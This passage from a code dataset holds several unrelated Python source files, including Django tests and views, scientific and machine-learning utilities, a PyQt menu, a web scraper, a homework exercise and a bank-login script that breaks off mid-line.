pygame.mixer.music.play()\r\n while pygame.mixer.music.get_busy() == True:\r\n pass","sub_path":"FourOneSix Sound.py","file_name":"FourOneSix Sound.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242927697","text":"from django.core.exceptions import ValidationError\nfrom django.test import TestCase\n\nfrom phone_calls.core.models import Call\n\n\nclass PhoneRecordTests(TestCase):\n def test_valid_numbers_record_should_create(self):\n Call.objects.create(id=234, type='start', time_stamp='2016-02-29T12:00:00Z',\n call_id=70, source='5512345678', destination='44123456789')\n self.assertTrue(Call.objects.exists())\n\n def test_invalid_number_source(self):\n phone_record = Call.objects.create(id=123, type='start', time_stamp='2016-02-29T12:00:00Z',\n call_id=70, source='invalid', destination='55123456789')\n self.assertRaises(ValidationError, phone_record.full_clean)\n\n def test_invalid_number_destination(self):\n phone_record = Call.objects.create(id=123, type='start', time_stamp='2016-02-29T12:00:00Z',\n call_id=70, source='55123456789', destination='invalid')\n self.assertRaises(ValidationError, phone_record.full_clean)\n","sub_path":"phone_calls/tests/test_model_phone_record.py","file_name":"test_model_phone_record.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"474878827","text":"from .products_json import products\n\nimport json\n\nfrom .models import Product\n\n\ndef create_and_store_products():\n for product in products:\n x = json.loads(product)\n product = Product(name=x['name'], image=x['image'], brand=x['brand'], category=x['category'],\n description=x['description'], rating=x['rating'], numReviews=x['numReviews'],\n price=x['price'], countInStock=x['countInStock'])\n product.save_me()\n print(Product(x))\n","sub_path":"backend/base/db_update.py","file_name":"db_update.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"274651112","text":"# -*- coding: UTF-8 -*-\r\nfrom django.shortcuts import render_to_response\r\nfrom django.template.context_processors import csrf\r\nfrom django.core.mail import send_mail\r\nfrom django.shortcuts import HttpResponseRedirect\r\nfrom EPO_Aboutus.forms import ContactForm# 引入我们创建的表单类ContactForm\r\n\r\n\r\n# Create your views here.\r\ndef aboutus_home(request):\r\n return render_to_response('Aboutus_Home.html')\r\n\r\n\r\ndef aboutus_intro(request):\r\n return render_to_response('Aboutus_Intro.html')\r\n\r\n\r\ndef aboutus_fqa(request):\r\n return render_to_response('Aboutus_FQA.html')\r\n\r\n\r\ndef aboutus_contact(request):\r\n # c = {}\r\n # c.update(csrf(request))\r\n if request.method == \"POST\": # 如果表单被提交\r\n form = ContactForm(request.POST) # 获取Post表单数据 给form\r\n if form.is_valid(): # 验证表单 如果提交的数据合法\r\n cd = form.cleaned_data\r\n send_mail(\r\n cd['message'],\r\n cd['name'],\r\n cd['company'],\r\n cd['telephone'],\r\n cd.get('email', 'noreplay@example.com'),\r\n ['siteowner@example.com'],\r\n )\r\n return HttpResponseRedirect('/contact/thanks/') # 跳转\r\n else:\r\n # 获取表单对象\r\n form = ContactForm(\r\n initial={'message': '请问有什么可以帮到您?',\r\n 'email': '请务必留下邮箱,以便与您联系'} # setting the initial value\r\n )\r\n return render_to_response('Aboutus_contact_form.html', {'form': form})\r\n","sub_path":"Public_Opinion/EPO_Aboutus/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"596616042","text":"import pandas as pd\r\nimport numpy as np \r\nfrom uszipcode import SearchEngine\r\nimport json\r\nimport sys\r\n\r\n\r\ndef zip(a , b):\r\n\tPickup_address = search.by_coordinates(a , b)\r\n #print(Pickup_address.address)\r\n\tif(len(Pickup_address) != 0):\r\n\t\tpick = json.loads(Pickup_address[0].to_json())\r\n\t\tpick2 = pick['zipcode']\r\n\telse:\r\n\t\tpick2 = 0\r\n\treturn pick2\r\n\r\nsearch = SearchEngine()\r\nres = sys.argv[1]\r\ndata = pd.read_csv(res)\r\ndf = data.copy()\r\n\r\ndf['Pickup_address'] = np.vectorize(zip)(df['Pickup_lattitude'],df['Pickup_longitude'])\r\nprint(\"finished\")\r\ndf['DropOff_address'] = np.vectorize(zip)(df['Dropoff_lattitude'], df['Dropoff_longitude'])\r\nprint(\"Compelty finished\")\r\n#print(df.head(5))\r\n#print(df['Pickup_address'])\r\n#print(df['DropOff_address'])\r\ndf.to_csv(res, encoding = 'utf-8', index = False )","sub_path":"new_zip.py","file_name":"new_zip.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"445092104","text":"from PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\n\r\nfrom add_names_widget import *\r\nfrom login_screen_window import *\r\nfrom login_widget import *\r\nfrom lesson_menu_widget import *\r\nfrom homework_menu_widget import *\r\nfrom database_widget import *\r\nfrom admin_homework_widget import *\r\nfrom results_menu_widget import *\r\nfrom add_class_widget import *\r\nfrom database_class import *\r\n\r\nclass AdminAccountWidget(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.showMaximized()\r\n \r\n self.homework = QPushButton(\"Homework\")\r\n self.results = QPushButton(\"Results\")\r\n self.progress = QPushButton(\"Progress\")\r\n self.add_names = QPushButton(\"Add Students\")\r\n self.homework_label = QLabel(\"To set homework,\\nclick here: \")\r\n self.homework_label.setFont(QFont(\"Courier\", 30))\r\n self.results_label = QLabel(\"To view your classes\\nmost recent results\\nclick here: \")\r\n self.results_label.setFont(QFont(\"Courier\", 30))\r\n self.database_label = QLabel(\"To view all students\\nprogress so far,\\nclick here: \")\r\n self.database_label.setFont(QFont(\"Courier\", 30))\r\n self.account_label = QLabel(\"Account No: XXXX\\nUsername: XXXX\\nClass XXXX\")\r\n self.account_label.setFont(QFont(\"Courier\", 30))\r\n self.log_out = QPushButton(\"Log out\")\r\n self.names_label = QLabel(\"To add a new\\nclass or names,\\nclick here: \")\r\n self.names_label.setFont(QFont(\"Courier\", 30))\r\n\r\n self.homework.setMinimumHeight(110)\r\n self.homework.setMinimumWidth(60)\r\n self.homework.setFont(QFont(\"Courier\", 40))\r\n\r\n self.results.setMinimumHeight(110)\r\n self.results.setMinimumWidth(60)\r\n self.results.setFont(QFont(\"Courier\", 40))\r\n\r\n self.progress.setMinimumHeight(110)\r\n self.progress.setMinimumWidth(60)\r\n self.progress.setFont(QFont(\"Courier\", 40))\r\n\r\n self.log_out.setMinimumHeight(110)\r\n self.log_out.setMinimumWidth(60)\r\n self.log_out.setFont(QFont(\"Courier\", 40))\r\n\r\n self.add_names.setMinimumHeight(110)\r\n self.add_names.setMinimumWidth(60)\r\n self.add_names.setFont(QFont(\"Courier\", 40))\r\n\r\n self.setStyleSheet(\"QPushButton {background-color: #A3C1DA; color: blue}\")\r\n \r\n self.layout = QGridLayout()\r\n\r\n self.layout.addWidget(self.homework, 0, 1)\r\n self.layout.addWidget(self.results, 1, 1)\r\n self.layout.addWidget(self.progress, 2, 1)\r\n self.layout.addWidget(self.add_names, 3, 1)\r\n self.layout.addWidget(self.homework_label, 0, 0)\r\n self.layout.addWidget(self.results_label, 1, 0)\r\n self.layout.addWidget(self.database_label, 2, 0)\r\n self.layout.addWidget(self.account_label, 0, 2)\r\n self.layout.addWidget(self.log_out, 3, 2)\r\n self.layout.addWidget(self.names_label, 3, 0)\r\n\r\n self.setLayout(self.layout)\r\n\r\n self.homework.clicked.connect(self.selected_homework)\r\n self.results.clicked.connect(self.selected_results)\r\n self.progress.clicked.connect(self.selected_progress)\r\n self.log_out.clicked.connect(self.log_out_selected)\r\n self.add_names.clicked.connect(self.selected_add_names)\r\n\r\n def log_out_selected(self):\r\n self.close()\r\n\r\n def selected_homework(self):\r\n admin_homework_menu_widget = AdminHomeworkMenuWidget()\r\n admin_homework_menu_widget.show()\r\n admin_homework_menu_widget._raise()\r\n\r\n def selected_results(self):\r\n results_menu_widget = ResultsMenuWidget()\r\n results_menu_widget.show()\r\n results_menu_widget._raise()\r\n\r\n def selected_progress(self):\r\n admin_database_widget = AdminDatabaseWidget()\r\n admin_database_widget.show()\r\n admin_database_widget._raise()\r\n\r\n def selected_add_names(self):\r\n add_names_widget = AddNamesWidget()\r\n add_names_widget.show()\r\n add_names_widget._raise()\r\n","sub_path":"Implementation/admin_account_home.py","file_name":"admin_account_home.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"592981530","text":"import scipy.io\nimport torch\nimport numpy as np\n#import time\nimport os\n\n#######################################################################\n# Evaluate\ndef evaluate(qf,ql,qc,gf,gl,gc):\n query = qf\n score = np.dot(gf,query)\n # predict index\n index = np.argsort(score) #from small to large\n index = index[::-1]\n #index = index[0:2000]\n # good index\n query_index = np.argwhere(gl==ql)\n camera_index = np.argwhere(gc==qc)\n\n good_index = np.setdiff1d(query_index, camera_index, assume_unique=True)\n junk_index1 = np.argwhere(gl==-1)\n junk_index2 = np.intersect1d(query_index, camera_index)\n junk_index = np.append(junk_index2, junk_index1) #.flatten())\n \n CMC_tmp = compute_mAP(index, good_index, junk_index)\n return CMC_tmp\n\n\ndef compute_mAP(index, good_index, junk_index):\n ap = 0\n cmc = torch.IntTensor(len(index)).zero_()\n if good_index.size==0: # if empty\n cmc[0] = -1\n return ap,cmc\n\n # remove junk_index\n mask = np.in1d(index, junk_index, invert=True)\n index = index[mask]\n\n # find good_index index\n ngood = len(good_index)\n mask = np.in1d(index, good_index)\n rows_good = np.argwhere(mask==True)\n rows_good = rows_good.flatten()\n \n cmc[rows_good[0]:] = 1\n for i in range(ngood):\n d_recall = 1.0/ngood\n precision = (i+1)*1.0/(rows_good[i]+1)\n if rows_good[i]!=0:\n old_precision = i*1.0/rows_good[i]\n else:\n old_precision=1.0\n ap = ap + d_recall*(old_precision + precision)/2\n\n return ap, cmc\n\n######################################################################\nresult = scipy.io.loadmat('pytorch_result.mat')\nquery_feature = result['query_f']\nquery_cam = result['query_cam'][0]\nquery_label = result['query_label'][0]\ngallery_feature = result['gallery_f']\ngallery_cam = result['gallery_cam'][0]\ngallery_label = result['gallery_label'][0]\n\nmulti = os.path.isfile('multi_query.mat')\n\nif multi:\n m_result = scipy.io.loadmat('multi_query.mat')\n mquery_feature = m_result['mquery_f']\n mquery_cam = m_result['mquery_cam'][0]\n mquery_label = m_result['mquery_label'][0]\n \nCMC = torch.IntTensor(len(gallery_label)).zero_()\nap = 0.0\n#print(query_label)\nfor i in range(len(query_label)):\n ap_tmp, CMC_tmp = evaluate(query_feature[i],query_label[i],query_cam[i],gallery_feature,gallery_label,gallery_cam)\n if CMC_tmp[0]==-1:\n continue\n CMC = CMC + CMC_tmp\n ap += ap_tmp\n print(i, CMC_tmp[0])\n\nCMC = CMC.float()\nCMC = CMC/len(query_label) #average CMC\nprint('Rank@1:%f Rank@5:%f Rank@10:%f mAP:%f'%(CMC[0],CMC[4],CMC[9],ap/len(query_label)))\n\n# multiple-query\nCMC = torch.IntTensor(len(gallery_label)).zero_()\nap = 0.0\nif multi:\n for i in range(len(query_label)):\n mquery_index1 = np.argwhere(mquery_label==query_label[i])\n mquery_index2 = np.argwhere(mquery_cam==query_cam[i])\n mquery_index = np.intersect1d(mquery_index1, mquery_index2)\n mq = np.mean(mquery_feature[mquery_index,:], axis=0)\n ap_tmp, CMC_tmp = evaluate(mq,query_label[i],query_cam[i],gallery_feature,gallery_label,gallery_cam)\n if CMC_tmp[0]==-1:\n continue\n CMC = CMC + CMC_tmp\n ap += ap_tmp\n #print(i, CMC_tmp[0])\n CMC = CMC.float()\n CMC = CMC/len(query_label) #average CMC\n print('multi Rank@1:%f Rank@5:%f Rank@10:%f mAP:%f'%(CMC[0],CMC[4],CMC[9],ap/len(query_label)))\n","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"651054057","text":"# -*- coding:utf-8 -*-\n\nimport os, time\n\nfrom widgets.widget import *\n\nclass w_DateTime(widget):\n \"\"\"Widget - Date & Time\n Display the date and the local time.\n \"\"\"\n\n def __init__(self, game, screen):\n \"\"\"Initialize the widget.\n \"\"\"\n widget.__init__(self, game, screen)\n\n # Update needed properties\n self.name = \"w_DateTime\"\n self.x = 100\n self.y = 50\n\n # Define some font\n self.font_hour = self.game.font.SysFont(\n 'Helvetica', 75, bold=True, italic=False)\n self.font_minute = self.game.font.SysFont(\n 'Helvetica', 75, bold=False, italic=False)\n self.font_date = self.game.font.SysFont(\n 'Helvetica', 20, bold=False, italic=False)\n\n # Define some local properties\n self.days_french = [\"lundi\", \"mardi\", \"mercredi\", \"jeudi\",\n \"vendredi\", \"samedi\", \"dimanche\"]\n self.months_french = [\"janvier\", \"février\", \"mars\", \"avril\",\n \"mai\", \"juin\", \"juillet\", \"aout\", \"septembre\",\n \"octobre\", \"novembre\", \"décembre\"]\n self.days_german = [\"Montag\", \"Dienstag\", \"Mittwoch\", \"Donnerstag\",\n \"Freitag\", \"Samstag\", \"Sonntag\"]\n self.days_german_short = [\"Mo\", \"Di\", \"Mi\", \"Do\", \"Fr\", \"Sa\", \"So\"]\n self.months_german = [\"nuhl\", \"Januar\", \"Februar\", \"März\", \"April\",\n \"Mai\", \"Juni\", \"Juli\", \"August\", \"September\",\n \"Oktober\", \"November\", \"Dezember\"]\n\n os.environ['TZ'] = 'Europe/Berlin'\n time.tzset()\n\n def update(self, screen, t):\n lt = time.localtime()\n str_hour = time.strftime(\"%H\")\n str_minute = time.strftime(\"%M\")\n str_date = \"%s. %d. %s %d\" % (\n self.days_german_short[lt.tm_wday],\n lt.tm_mday,\n self.months_german[lt.tm_mon],\n lt.tm_year)\n\n txt_hour = self.font_hour.render(str_hour, True, c_WHITE)\n txt_minute = self.font_minute.render(str_minute, True, c_WHITE)\n txt_date = self.font_date.render(str_date, True, c_WHITE)\n\n screen.blit(txt_hour, self.coo(0, 0))\n screen.blit(txt_minute, self.coo(0, txt_hour.get_height() - 15))\n screen.blit(txt_date, self.coo(0, txt_hour.get_height() + txt_minute.get_height() - 20))\n","sub_path":"widgets/w_DateTime.py","file_name":"w_DateTime.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"334211745","text":"from typing import Optional\n\nimport torch\nfrom falkon.sparse.sparse_helpers import norm_sq, norm_\n\nfrom falkon.sparse.sparse_tensor import SparseTensor\nfrom falkon.utils.helpers import check_same_dtype\n\n__all__ = (\"sparse_matmul\", \"sparse_square_norm\", \"sparse_norm\")\n\n\ndef _sparse_matmul_cpu(A, B, out):\n \"\"\"\n Inputs:\n - A : N x D, CSR matrix\n - B : D x M, CSC matrix\n \"\"\"\n from falkon.mkl_bindings.mkl_bind import mkl_lib\n\n if A.nnz() == 0 or B.nnz() == 0:\n return out\n if not A.is_csr:\n raise ValueError(\"A must be CSR matrix\")\n if not B.is_csc:\n raise ValueError(\"B must be CSC matrix\")\n\n mkl = mkl_lib()\n try:\n # For some reason assigning the 'to_scipy' to their own variables\n # is **absolutely fundamental** for the mkl bindings to work\n A = A.transpose_csc()\n As = A.to_scipy() # D * N (csc)\n Bs = B.to_scipy()\n\n mkl_sp_1 = mkl.mkl_create_sparse_from_scipy(As)\n mkl_sp_2 = mkl.mkl_create_sparse_from_scipy(Bs)\n mkl.mkl_spmmd(mkl_sp_1, mkl_sp_2, out, transposeA=True)\n return out\n finally:\n try:\n # noinspection PyUnboundLocalVariable\n mkl.mkl_sparse_destroy(mkl_sp_1)\n except: # noqa E722\n pass\n try:\n # noinspection PyUnboundLocalVariable\n mkl.mkl_sparse_destroy(mkl_sp_2)\n except: # noqa E722\n pass\n\n\ndef _sparse_matmul_cuda(A: SparseTensor, B: SparseTensor, out: torch.Tensor):\n \"\"\"\n Typically D is very large, and we will need to convert B to CSR format\n so memory usage will be high.\n\n Parameters\n ----------\n A : N x D, CSR matrix\n B : D x M, CSR matrix\n\n Notes\n ------\n This function runs in two steps:\n sparse*sparse->sparse multiplication and conversion of the output\n sparse matrix to a dense matrix.\n \"\"\"\n from falkon.sparse.sparse_helpers import spspmm, csr2dense\n\n if not A.is_csr:\n raise ValueError(\"A must be CSR matrix\")\n if not B.is_csr:\n raise ValueError(\"B must be CSR matrix\")\n\n # 2. MatMul\n out_indexptr, out_index, out_data = spspmm(\n A.indexptr, A.index, A.data, B.indexptr, B.index, B.data, A.shape[1])\n # 3. Convert to dense\n out = csr2dense(out_indexptr, out_index, out_data, out)\n return out\n\n\ndef sparse_matmul(A: SparseTensor, B: SparseTensor, out: torch.Tensor) -> torch.Tensor:\n \"\"\"Sparse*Sparse matrix multiplication. Output will be copied into dense `out` matrix.\n\n This function can be applied to CPU or CUDA tensors (but all tensors must\n be on the same device).\n\n Parameters\n ----------\n A : SparseTensor\n N x D, sparse matrix.\n B : SparseTensor\n D x M, sparse matrix\n out : torch.Tensor\n Dense N x M tensor, it will hold the output of the multiplication.\n\n Returns\n -------\n out : torch.Tensor\n The same tensor as the input `out` parameter.\n\n \"\"\"\n if A.nnz() == 0 or B.nnz() == 0:\n return out\n\n if A.is_cuda:\n return _sparse_matmul_cuda(A, B, out)\n else:\n return _sparse_matmul_cpu(A, B, out)\n\n\ndef sparse_square_norm(A: SparseTensor, out: torch.Tensor) -> torch.Tensor:\n \"\"\"Row-wise squared l2 norm of a sparse 2D matrix.\n\n The operation is equivalent to squaring all elements of the matrix, and summing up the rows.\n\n Parameters\n ----------\n A : SparseTensor\n The 2D matrix. Since we compute row-wise norms, the matrix must be in CSR format (for\n efficiency).\n out : torch.Tensor\n A dense tensor with the same number of rows as matrix `A`. Will contain the output\n of the squared-norm operation.\n\n Returns\n -------\n out : torch.Tensor\n The same tensor as the input `out` parameter.\n\n Notes\n -----\n This function is currently limited to CPU input tensors.\n \"\"\"\n if not A.is_csr:\n raise RuntimeError(\"Squared norm can only be applied on CSR tensors\")\n if not check_same_dtype(A, out):\n raise ValueError(\"All data-types must match\")\n if A.shape[0] != out.shape[0]:\n raise ValueError(\"Dimension 0 of A must match the length of tensor 'out'\")\n\n return norm_sq(A.indexptr, A.data, out)\n\n\ndef sparse_norm(A: SparseTensor, out: Optional[torch.Tensor]) -> torch.Tensor:\n \"\"\"Row-wise l2 norm of a sparse 2D matrix\n\n Parameters\n ----------\n A : SparseTensor\n The 2D matrix. Since we compute row-wise norms, the matrix must be in CSR format (for\n efficiency).\n out : torch.Tensor\n A dense tensor with the same number of rows as matrix `A`. Will contain the output\n of the norm operation.\n\n Returns\n -------\n out : torch.Tensor\n The same tensor as the input `out` parameter.\n\n Notes\n -----\n This function is currently limited to CPU input tensors.\n \"\"\"\n if not A.is_csr:\n raise RuntimeError(\"Norm can only be applied on CSR tensors\")\n if not check_same_dtype(A, out):\n raise ValueError(\"All data-types must match\")\n if A.shape[0] != out.shape[0]:\n raise ValueError(\"Dimension 0 of A must match the length of tensor 'out'\")\n\n return norm_(A.indexptr, A.data, out)\n","sub_path":"falkon/sparse/sparse_ops.py","file_name":"sparse_ops.py","file_ext":"py","file_size_in_byte":5206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"164002444","text":"# Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Model ops python wrappers.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# pylint: disable=unused-import\nfrom tensorflow.contrib.boosted_trees.python.ops import boosted_trees_ops_loader\n# pylint: enable=unused-import\nfrom tensorflow.contrib.boosted_trees.python.ops import gen_model_ops\nfrom tensorflow.contrib.boosted_trees.python.ops.gen_model_ops import tree_ensemble_deserialize\nfrom tensorflow.contrib.boosted_trees.python.ops.gen_model_ops import tree_ensemble_serialize\n# pylint: disable=unused-import\nfrom tensorflow.contrib.boosted_trees.python.ops.gen_model_ops import tree_ensemble_stamp_token\nfrom tensorflow.contrib.boosted_trees.python.ops.gen_model_ops import tree_ensemble_used_handlers\n# pylint: enable=unused-import\n\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import resources\nfrom tensorflow.python.training import saver\n\nops.NotDifferentiable(\"TreeEnsembleVariable\")\nops.NotDifferentiable(\"TreeEnsembleSerialize\")\nops.NotDifferentiable(\"TreeEnsembleDeserialize\")\n\n\nclass TreeEnsembleVariableSavable(saver.BaseSaverBuilder.SaveableObject):\n \"\"\"SaveableObject implementation for TreeEnsembleVariable.\"\"\"\n\n def __init__(self, tree_ensemble_handle, create_op, name):\n \"\"\"Creates a TreeEnsembleVariableSavable object.\n\n Args:\n tree_ensemble_handle: handle to the tree ensemble variable.\n create_op: the op to initialize the variable.\n name: the name to save the tree ensemble variable under.\n \"\"\"\n stamp_token, ensemble_config = tree_ensemble_serialize(tree_ensemble_handle)\n # slice_spec is useful for saving a slice from a variable.\n # It's not meaningful the tree ensemble variable. So we just pass an empty\n # value.\n slice_spec = \"\"\n specs = [\n saver.BaseSaverBuilder.SaveSpec(stamp_token, slice_spec,\n name + \"_stamp\"),\n saver.BaseSaverBuilder.SaveSpec(ensemble_config, slice_spec,\n name + \"_config\"),\n ]\n super(TreeEnsembleVariableSavable,\n self).__init__(tree_ensemble_handle, specs, name)\n self._tree_ensemble_handle = tree_ensemble_handle\n self._create_op = create_op\n\n def restore(self, restored_tensors, unused_restored_shapes):\n \"\"\"Restores the associated tree ensemble from 'restored_tensors'.\n\n Args:\n restored_tensors: the tensors that were loaded from a checkpoint.\n unused_restored_shapes: the shapes this object should conform to after\n restore. Not meaningful for trees.\n\n Returns:\n The operation that restores the state of the tree ensemble variable.\n \"\"\"\n with ops.control_dependencies([self._create_op]):\n return tree_ensemble_deserialize(\n self._tree_ensemble_handle,\n stamp_token=restored_tensors[0],\n tree_ensemble_config=restored_tensors[1])\n\n\ndef tree_ensemble_variable(stamp_token,\n tree_ensemble_config,\n name,\n container=None):\n r\"\"\"Creates a tree ensemble model and returns a handle to it.\n\n Args:\n stamp_token: The initial stamp token value for the ensemble resource.\n tree_ensemble_config: A `Tensor` of type `string`.\n Serialized proto of the tree ensemble.\n name: A name for the ensemble variable.\n container: An optional `string`. Defaults to `\"\"`.\n\n Returns:\n A `Tensor` of type mutable `string`. The handle to the tree ensemble.\n \"\"\"\n with ops.name_scope(name, \"TreeEnsembleVariable\") as name:\n resource_handle = gen_model_ops.decision_tree_ensemble_resource_handle_op(\n container, shared_name=name, name=name)\n create_op = gen_model_ops.create_tree_ensemble_variable(\n resource_handle, stamp_token, tree_ensemble_config)\n is_initialized_op = gen_model_ops.tree_ensemble_is_initialized_op(\n resource_handle)\n # Adds the variable to the savable list.\n saveable = TreeEnsembleVariableSavable(resource_handle, create_op,\n resource_handle.name)\n ops.add_to_collection(ops.GraphKeys.SAVEABLE_OBJECTS, saveable)\n resources.register_resource(resource_handle, create_op, is_initialized_op)\n return resource_handle\n","sub_path":"Keras_tensorflow_nightly/source2.7/tensorflow/contrib/boosted_trees/python/ops/model_ops.py","file_name":"model_ops.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"620897700","text":"import pymongo\nfrom simpyder import Spider, FAKE_UA, SimpyderConfig\nfrom datetime import datetime\nimport os\nMONGO_URL = os.environ['MONGO_URL']\ndb = pymongo.MongoClient(MONGO_URL)\n\n\nclass HotSearchSpider(Spider):\n def gen_url(self):\n while True:\n yield \"https://www.zhihu.com/billboard\"\n\n def parse(self, response):\n data = response.xpath('//div[@class=\"HotList-itemBody\"]')\n date = datetime.utcnow()\n items = []\n for d in data:\n try:\n title = d.xpath('div[@class=\"HotList-itemTitle\"]/text()')[0]\n value = int(d.xpath(\n 'div[@class=\"HotList-itemMetrics\"]/text()')[0].rstrip('万热度'))\n items.append([title, value, date])\n except Exception as e:\n self.logger.exception(e)\n return items\n\n def save(self, item):\n for e in item:\n db.zhihu.hot.insert({\n 'title': e[0],\n 'value': e[1],\n 'date': e[2]\n })\n return e\n\n\nif __name__ == \"__main__\":\n s = HotSearchSpider(\"知乎热搜\")\n sc = SimpyderConfig()\n sc.COOKIE = FAKE_UA\n sc.DOWNLOAD_INTERVAL = 600\n sc.PARSE_THREAD_NUMER = 1\n s.set_config(sc)\n s.run()\n","sub_path":"src/hot-search.py","file_name":"hot-search.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"634521496","text":"# 1. Пользователь вводит данные о количестве предприятий, их наименования и прибыль за четыре квартала\n# для каждого предприятия. Программа должна определить среднюю прибыль (за год для всех предприятий)\n# и отдельно вывести наименования предприятий, чья прибыль выше среднего и ниже среднего.\n\nfrom collections import defaultdict\n\n# имитация ввода пользователя для удобства отладки\norgs = [('Фирма1', 10), ('Фирма1', 10), ('Фирма1', 10), ('Фирма1', 10),\n ('Фирма2', 20), ('Фирма2', 20), ('Фирма2', 20), ('Фирма2', 20),\n ('Фирма3', 30), ('Фирма3', 30), ('Фирма3', 30), ('Фирма3', 30),\n ('Фирма4', 40), ('Фирма4', 40), ('Фирма4', 40), ('Фирма4', 40),\n ]\ncount = 4\n\n\n''' ввод данных вручную\norgs = []\ncount = int(input('введите количество фирм:'))\nfor i in range(count):\n org_name = input('Введите название фирмы')\n for j in range(4):\n q_profit = int(input(f'Введите прибыль за квартал {j+1}'))\n orgs.append((org_name, q_profit))\n'''\n\nd = defaultdict(int) # собираем в словарь среднюю прибыль фирм за год\nfor org, value in orgs:\n d[org] += value / 4\n\nmean = 0 # поиск средней годовой прибыли по всем фирмам\nfor org in d:\n mean += d[org] / count\n\nhigh_profit = []\nlow_profit = []\n\nfor org in d:\n if d[org] >= mean:\n high_profit.append(org)\n else:\n low_profit.append(org)\n\nprint(high_profit, low_profit, sep='\\n \\n')\n\nprint(orgs)","sub_path":"homework5/hw5_1.py","file_name":"hw5_1.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"294240026","text":"import cv2\nimport argparse\nfrom facedetection import Facedetector \n\nap=argparse.ArgumentParser()\nap.add_argument(\"-f\",\"--face\",required=True,help=\"path to face cascade\")\nap.add_argument(\"-e\",\"--eye\",required=True,help=\"path to eye cascade\")\nap.add_argument(\"-i\",\"--image\",required=True,help=\"image\")\nargs=vars(ap.parse_args())\n\nimage=cv2.imread(args[\"image\"])\ngray=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\nfd=Facedetector(args[\"face\"],args[\"eye\"])\nrect=fd.detect(image,scaleFactor=1.2,minNeighbors=3,minSize=(30,30))\nfor (x,y,w,h) in rect:\n\tcv2.rectangle(image,(x,y),(x+w,y+h),(0,255,0),2)\ncv2.imshow(\"detected\",image)\ncv2.waitKey(0)\n","sub_path":"Face_recognition/eyetracking/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"195035946","text":"from bank import *\r\nfrom os import system\r\nfrom user import akun\r\nimport time\r\n\r\n\r\ndef login():\r\n system('cls')\r\n rekening = input('Masukkan nomor rekening anda: ')\r\n nama = input('Masukkan nama pemilik rekening ini: ')\r\n\r\n if rekening in akun and akun[rekening][0] == nama:\r\n print('Anda berhasil login')\r\n else:\r\n print('Login gagal silahkan cek kembali nomor rekening anda dan nama pemilik rekening')\r\n login()\r\n acc = Nasabah(rekening)\r\n acc.set_saldo(akun[rekening][1])\r\n\r\n print('''Plihan:\r\n 1. Setoran\r\n 2. Tarik Tunai\r\n 3. Transfer Uang\r\n 4. Cek Saldo\r\n Q. Logout''')\r\n\r\n def menu():\r\n pilih = (input('Masukkan pilihan anda: '))\r\n if pilih == '1':\r\n setor = int(input('Masukkan jumlah yang ingin anda setorkan: '))\r\n setor = abs(setor)\r\n akun[rekening][1] = acc.deposit(setor)\r\n print('Saldo anda adalah Rp', akun[rekening][1])\r\n menu()\r\n elif pilih == '2':\r\n tarik = int(input('Masukkan jumlah yang ingin anda tarik: '))\r\n tarik = abs(tarik)\r\n akun[rekening][1] = acc.ambil(tarik)\r\n print('Saldo anda adalah Rp', akun[rekening][1])\r\n menu()\r\n elif pilih == '3':\r\n def trf():\r\n jml = int(input('Masukkan jumlah yang ingin anda transfer: '))\r\n tujuan = input('Masukkan nomor rekening tujuan: ') or ''\r\n jml = abs(jml)\r\n print('Anda akan mengirimkan dana sejumlah {} kepada {}' \\\r\n .format(str(jml), akun[tujuan][0]))\r\n auto = input('Apakah nomor yang anda masukkan benar (y/n): ')\r\n if auto in ['Y', 'y']:\r\n if tujuan in akun and jml < acc.saldo:\r\n print('Sisa saldo anda sebelum transfer adalah Rp ', akun[rekening][1])\r\n akun[rekening][1] = transfer(rekening, tujuan, jml)\r\n else:\r\n print('Tujuan transfer salah atau belum terdaftar, silihkan coba kembali')\r\n trf()\r\n elif auto in ['N', 'n']:\r\n print('Transaksi anda dibatalkan')\r\n time.sleep(3)\r\n login()\r\n else:\r\n print('Opsi yang anda masukkan 